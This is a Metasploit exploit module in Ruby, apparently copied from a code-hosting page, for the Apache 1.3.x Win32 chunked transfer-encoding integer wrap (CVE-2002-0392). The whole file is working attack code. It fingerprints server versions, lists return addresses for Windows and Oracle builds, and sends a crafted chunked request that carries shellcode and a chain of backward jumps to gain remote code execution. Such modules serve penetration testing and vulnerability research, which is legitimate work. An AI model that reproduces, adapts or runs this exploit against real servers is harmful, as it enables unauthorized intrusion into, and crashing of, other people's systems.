316 lines
10 KiB
Ruby
316 lines
10 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
HttpFingerprint = { :pattern => [ /Apache/ ] }
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache Win32 Chunked Encoding',
|
|
'Description' => %q{
|
|
This module exploits the chunked transfer integer wrap
|
|
vulnerability in Apache version 1.2.x to 1.3.24. This
|
|
particular module has been tested with all versions of the
|
|
official Win32 build between 1.3.9 and 1.3.24. Additionally,
|
|
it should work against most co-branded and bundled versions
|
|
of Apache (Oracle 8i, 9i, IBM HTTPD, etc).
|
|
|
|
You will need to use the Check() functionality to determine
|
|
the exact target version prior to launching the exploit. The
|
|
version of Apache bundled with Oracle 8.1.7 will not
|
|
automatically restart, so if you use the wrong target value,
|
|
the server will crash.
|
|
},
|
|
'Author' => [ 'hdm', 'jduck' ],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2002-0392' ],
|
|
[ 'OSVDB', '838'],
|
|
[ 'BID', '5033' ]
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 987,
|
|
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
|
|
'MinNops' => 200,
|
|
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Generic Bruteforce', {} ],
|
|
|
|
# Official Apache.org win32 builds
|
|
[ 'Apache.org Build 1.3.9->1.3.19',
|
|
{
|
|
'Ret' => 0x00401151,
|
|
'Pad' => [6,2,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
[ 'Apache.org Build 1.3.22->1.3.24',
|
|
{
|
|
'Ret' => 0x00401141,
|
|
'Pad' => [2,6,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
[ 'Apache.org Build 1.3.19->1.3.24',
|
|
{
|
|
'Ret' => 0x6ff6548d,
|
|
'Pad' => [2,6,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
[ 'Apache.org Build 1.3.22',
|
|
{
|
|
'Ret' => 0x6ff762ac,
|
|
'Pad' => [2,6,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
|
|
# Return to Win9xConHook.dll via call ebx
|
|
[ 'Apache.org Build 1.3.17->1.3.24 (Windows 2000)',
|
|
{
|
|
'Ret' => 0x1c0f13e5,
|
|
'Pad' => [2,6,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
|
|
# Return to Win9xConHook.dll via call esi
|
|
[ 'Apache.org Build 1.3.17->1.3.24 (Windows NT)',
|
|
{
|
|
'Ret' => 0x1c0f1033,
|
|
'Pad' => [2,6,0,4,1,3,5,7]
|
|
}
|
|
],
|
|
|
|
# Interesting return to PEB trick for Windows 2003 systems...
|
|
[ 'Windows 2003 English SP0',
|
|
{
|
|
'Ret' => 0x7ffc0638,
|
|
'Pad' => [2,6,5,4,1,3,0,7]
|
|
}
|
|
],
|
|
|
|
# Pop/Pop/Return on Windows 2000
|
|
[ 'Windows 2000 English',
|
|
{
|
|
'Ret' => 0x75022ac4,
|
|
'Pad' => [2,6,5,4,1,3,0,7]
|
|
}
|
|
],
|
|
|
|
# Oracle HTTPD: [ 8.1.7 ] (one shot)
|
|
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
|
|
# OpenSSL/0.9.5a mod_perl/1.24
|
|
[ 'Oracle 8.1.7 Apache 1.3.12',
|
|
{
|
|
'Ret' => 0x1d84d42c,
|
|
'Pad' => [7]
|
|
}
|
|
],
|
|
|
|
# Oracle HTTPD: [ 9.1.0 ] (multiple shots)
|
|
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4
|
|
# OpenSSL/0.9.5a mod_perl/1.24
|
|
[ 'Oracle 9.1.0 Apache 1.3.12',
|
|
{
|
|
'Ret' => 0x10016061,
|
|
'Pad' => [5,6,0,4,1,3,2,7]
|
|
}
|
|
],
|
|
|
|
# Oracle HTTPD: [ 9.2.0 ] (multiple shots)
|
|
# Oracle HTTP Server Powered by Apache/1.3.22 (Win32)
|
|
# mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b
|
|
# mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25
|
|
[ 'Oracle 9.2.0 Apache 1.3.22',
|
|
{
|
|
'Ret' => 0x6ff6427a,
|
|
'Pad' => [5,6,0,4,1,3,2,7]
|
|
}
|
|
],
|
|
|
|
# Generic debugging targets
|
|
[ 'Debugging Target',
|
|
{
|
|
'Ret' => 0xcafebabe,
|
|
'Pad' => [0,1,2,3,4,5,6,7]
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => 'Jun 19 2002',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
response = send_request_raw({'uri' => '/'}, 5)
|
|
if response.nil?
|
|
vprint_status("No response to request")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
http_fingerprint({ :response => response }) # Custom Server header matching
|
|
|
|
code = Exploit::CheckCode::Appears
|
|
|
|
case response['Server']
|
|
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
|
|
vprint_status("This looks like an Oracle 8.1.7 Apache service (one-shot only)")
|
|
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
|
|
vprint_status("This looks like an Oracle 9.1.0 Apache service (multiple tries allowed)")
|
|
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
|
|
vprint_status("This looks like an Oracle 9.2.0 Apache service (multiple tries allowed)")
|
|
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
|
|
vprint_status("IBM backported the patch, this system is not vulnerable")
|
|
code = Exploit::CheckCode::Safe
|
|
when /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/
|
|
else
|
|
code = Exploit::CheckCode::Safe
|
|
end
|
|
|
|
vprint_status("Server: #{response['Server']}")
|
|
|
|
return code
|
|
end
|
|
|
|
def auto_target
|
|
response = send_request_raw({'uri' => '/'}, 5)
|
|
if response.nil?
|
|
print_error("No response to request")
|
|
return targets_to_try
|
|
end
|
|
|
|
http_fingerprint({ :response => response }) # Custom Server header matching / automatic target selection
|
|
|
|
targets_to_try = []
|
|
server_hdr = response['Server']
|
|
print_status("Server: #{server_hdr}")
|
|
|
|
case server_hdr
|
|
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22"
|
|
targets_to_try.push(targets[9])
|
|
|
|
when "Oracle HTTP Server Powered by Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.24"
|
|
targets_to_try.push(targets[10])
|
|
|
|
when "Oracle HTTP Server Powered by Apache/1.3.22 (Win32) mod_plsql/3.0.9.8.3b mod_ssl/2.8.5 OpenSSL/0.9.6b mod_fastcgi/2.2.12 mod_oprocmgr/1.0 mod_perl/1.25"
|
|
targets_to_try.push(targets[11])
|
|
|
|
when /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/
|
|
# fall through
|
|
|
|
else
|
|
# check for apache version ranges
|
|
if (server_hdr =~ /Apache\/([^ ]*)/) or (server_hdr =~ /Apache-AdvancedExtranetServer\/([^ ]*)/)
|
|
version = $1
|
|
|
|
#print_status("Apache version: #{version}")
|
|
ver = version.split('.')
|
|
if (ver.length == 3)
|
|
major = ver[0].to_i
|
|
minor = ver[1].to_i
|
|
rev = ver[2].to_i
|
|
if (major == 1 and minor == 3)
|
|
targets_to_try.push(targets[1]) if (rev >= 9 and rev <= 19)
|
|
targets_to_try.push(targets[2]) if (rev >= 22 and rev <= 24)
|
|
targets_to_try.push(targets[3]) if (rev >= 19 and rev <= 24)
|
|
targets_to_try.push(targets[4]) if (rev == 22)
|
|
|
|
# Add the remaining targets, regardless of quality...
|
|
if (server_hdr =~ /Win32/)
|
|
# targets 4, 5, 6, 7
|
|
if (rev >= 17 and rev <= 24)
|
|
targets_to_try.push(targets[5])
|
|
targets_to_try.push(targets[6])
|
|
end
|
|
targets_to_try.push(targets[7])
|
|
targets_to_try.push(targets[8])
|
|
end
|
|
end
|
|
# Version 1.0 - 1.2, Fall through...
|
|
end
|
|
# ServerTokens setting isn't giving up enough information ... Might need to try?
|
|
end
|
|
# Not Apache? Fall through...
|
|
end
|
|
|
|
targets_to_try
|
|
end
|
|
|
|
#
|
|
# If auto, ask the auto_target function for a list of
|
|
# targets to try...
|
|
#
|
|
# If not auto, just try the selected target.
|
|
#
|
|
def exploit
|
|
if target_index == 0
|
|
targs = auto_target
|
|
print_status("Auto-targeting returned #{targs.length} candidates...")
|
|
targs.each_with_index { |targ, idx|
|
|
# Never try the debug target automatically :)
|
|
next if targ.name =~ /Debug/
|
|
exploit_target(targ)
|
|
}
|
|
else
|
|
exploit_target(target)
|
|
end
|
|
end
|
|
|
|
def exploit_target(target)
|
|
target['Pad'].each { |pad|
|
|
pattern =
|
|
rand_text_alphanumeric(3936) +
|
|
payload.encoded +
|
|
make_nops(6) + "\xe9" + [-900].pack('V') + "pP" +
|
|
rand_text_alphanumeric(pad)
|
|
|
|
# Move slightly further back to allow padding changes
|
|
pattern +=
|
|
"\xeb\xf0\xde\xad" +
|
|
[target.ret].pack('V')
|
|
|
|
# Create a chain of return addresses and reverse jumps
|
|
254.times { |x|
|
|
pattern +=
|
|
"\xeb\xf6\xbe\xef" +
|
|
[target.ret].pack('V')
|
|
}
|
|
|
|
# Even out the request length based on the padding value
|
|
# This is required to reliably hit the return address offset
|
|
pattern += rand_text_alphanumeric(8 - pad)
|
|
|
|
#
|
|
# Regardless of what return we hit, execution jumps backwards to the shellcode:
|
|
# _______________ _______________ ___________
|
|
# _________ _____________ | ________ | | ______ | | ______
|
|
# v | v | v v | | v v | | v v |
|
|
# [shellcode] [jmp -949] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
|
|
#
|
|
|
|
print_status("Trying #{target.name} [ #{"0x%.8x" % target.ret}/#{pad} ]")
|
|
|
|
# Build the request
|
|
send_request_raw({
|
|
'uri' => '/',
|
|
'headers' =>
|
|
{
|
|
'Transfer-Encoding' => "CHUNKED"
|
|
},
|
|
'data' => "FFFFFFF0 " + pattern,
|
|
}, 2)
|
|
|
|
# Check the handler
|
|
handler
|
|
}
|
|
end
|
|
end
|